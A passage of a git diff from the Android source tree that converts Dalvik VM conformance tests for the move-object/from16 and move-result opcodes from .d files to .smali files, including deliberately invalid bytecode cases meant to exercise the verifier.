+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/16 v124, v4999
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d
deleted file mode 100644
index 434737e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_1.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 5000
-       move-object/from16 v255, v4999
-       move-object/from16 v1, v255
-       
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali
new file mode 100644
index 0000000..c807aef
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_1.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 5000
+       move-object/from16 v255, v4999
+       move-object/from16 v1, v255
+       
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d
deleted file mode 100644
index c2f4512..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_3.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       move/from16 v0, v5000
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali
new file mode 100644
index 0000000..df014a5
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_3.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_3.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       move/from16 v0, v5000
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d
deleted file mode 100644
index 360ae14..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_4.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5
-
-       move-object/from16 v5, v4
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali
new file mode 100644
index 0000000..f44f941
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_4.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5
+
+       move-object/from16 v5, v4
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d
deleted file mode 100644
index 94acfb9..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_5.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 5000
-       const v1, 1234
-       move-object/from16 v0, v1
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali
new file mode 100644
index 0000000..19cbf77
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_5.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_5.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 5000
+       const v1, 1234
+       move-object/from16 v0, v1
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d
deleted file mode 100644
index d41f1f7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_6.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-       const-wide v4500, 123
-       move-object/from16 v0, v4500
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali
new file mode 100644
index 0000000..aac484d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_6.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_6;
+.super Ljava/lang/Object;
+.source "T_move_object_from16_6.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v4502, v0
+
+    move-object/from16 v2, v4502
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d
deleted file mode 100644
index 09abc65..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_7.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 5000
-
-       const-wide v1234, 123
-       move-object/from16 v255, v1235
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali
new file mode 100644
index 0000000..72594de
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_7.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_7;
+.super Ljava/lang/Object;
+.source "T_move_object_from16_7.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method public static run()V
+    .registers 5002
+
+    const-wide v0, 0x7b
+
+    move-wide/16 v1236, v0
+
+    move-object/16 v257, v1237
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d
deleted file mode 100644
index 93ff685..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_object_from16_8.java
-.class public dot.junit.opcodes.move_object_from16.d.T_move_object_from16_8
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()J
-.limit regs 5000
-
-       const-wide v123, 123
-       move-object/from16 v124, v4999
-       return-wide v123
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali
new file mode 100644
index 0000000..dc6bd8b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_object_from16/d/T_move_object_from16_8.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_object_from16_8.java"
+.class  public Ldot/junit/opcodes/move_object_from16/d/T_move_object_from16_8;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()J
+.registers 5000
+
+       const-wide v123, 123
+       move-object/from16 v124, v4999
+       return-wide v123
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d
deleted file mode 100644
index 50c2eb2..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.d
+++ /dev/null
@@ -1,55 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_1.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()Z
-.limit regs 16
-
-    const v0, 0
-    
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_1/foo()I
-
-    move-result v0
-    const v1, 12345
-    
-    if-eq v0, v1 Label1
-    
-    const v0, 0
-    return v0
-    
-Label1:
-    const v0, 1
-    return v0
-
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali
new file mode 100644
index 0000000..1172c04
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_1.smali
@@ -0,0 +1,58 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/move_result/d/T_move_result_1;
+.super Ljava/lang/Object;
+.source "T_move_result_1.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+.method private static foo()I
+    .registers 1
+
+    const v0, 0x3039
+
+    return v0
+.end method
+
+.method public static run()Z
+    .registers 16
+
+    const v0, 0x0
+
+    invoke-static {}, Ldot/junit/opcodes/move_result/d/T_move_result_1;->foo()I
+
+    move-result v0
+
+    const v1, 0x3039
+
+    if-eq v0, v1, :cond_10
+
+    const v0, 0x0
+
+    return v0
+
+    :cond_10
+    const v0, 0x1
+
+    return v0
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d
deleted file mode 100644
index ad1b45c..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_2.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public static run()V
-.limit regs 16
-
-    invoke-static {} dot/junit/opcodes/move_result/d/T_move_result_2/foo()I
-    move-result v16
-    
-    return-void
-.end method
-
-.method private static foo()I
-.limit regs 1
-
-     const v0, 12345
-     return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali
new file mode 100644
index 0000000..bc7423d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_2.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_2.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public static run()V
+.registers 16
+
+    invoke-static {} , Ldot/junit/opcodes/move_result/d/T_move_result_2;->foo()I
+    move-result v16
+    
+    return-void
+.end method
+
+.method private static foo()I
+.registers 1
+
+     const v0, 12345
+     return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d
deleted file mode 100644
index 481f158..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.d
+++ /dev/null
@@ -1,42 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_3.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result/d/T_move_result_3/foo()Ljava/lang/Object;
-    move-result v0
-    
-    return-void
-.end method
-
-.method private foo()Ljava/lang/Object;
-.limit regs 1
-
-     return-object v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali
new file mode 100644
index 0000000..1e48552
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_3.smali
@@ -0,0 +1,42 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_3.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_3;->foo()Ljava/lang/Object;
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()Ljava/lang/Object;
+.registers 1
+
+     return-object v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d
deleted file mode 100644
index 655aa7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.d
+++ /dev/null
@@ -1,43 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_4.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 16
-
-    invoke-direct {v15} dot/junit/opcodes/move_result/d/T_move_result_4/foo()J
-    move-result v0
-    
-    return-void
-.end method
-
-.method private foo()J
-.limit regs 2
-
-    const-wide v0, 1234
-    return-wide v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali
new file mode 100644
index 0000000..9d78c0f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_4.smali
@@ -0,0 +1,43 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_move_result_4.java"
+.class  public Ldot/junit/opcodes/move_result/d/T_move_result_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 16
+
+    invoke-direct {v15} , Ldot/junit/opcodes/move_result/d/T_move_result_4;->foo()J
+    move-result v0
+    
+    return-void
+.end method
+
+.method private foo()J
+.registers 2
+
+    const-wide v0, 1234
+    return-wide v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d
deleted file mode 100644
index 711b142..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/move_result/d/T_move_result_5.d
+++ /dev/null
@@ -1,45 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_move_result_5.java
-.class public dot.junit.opcodes.move_result.d.T_move_result_5
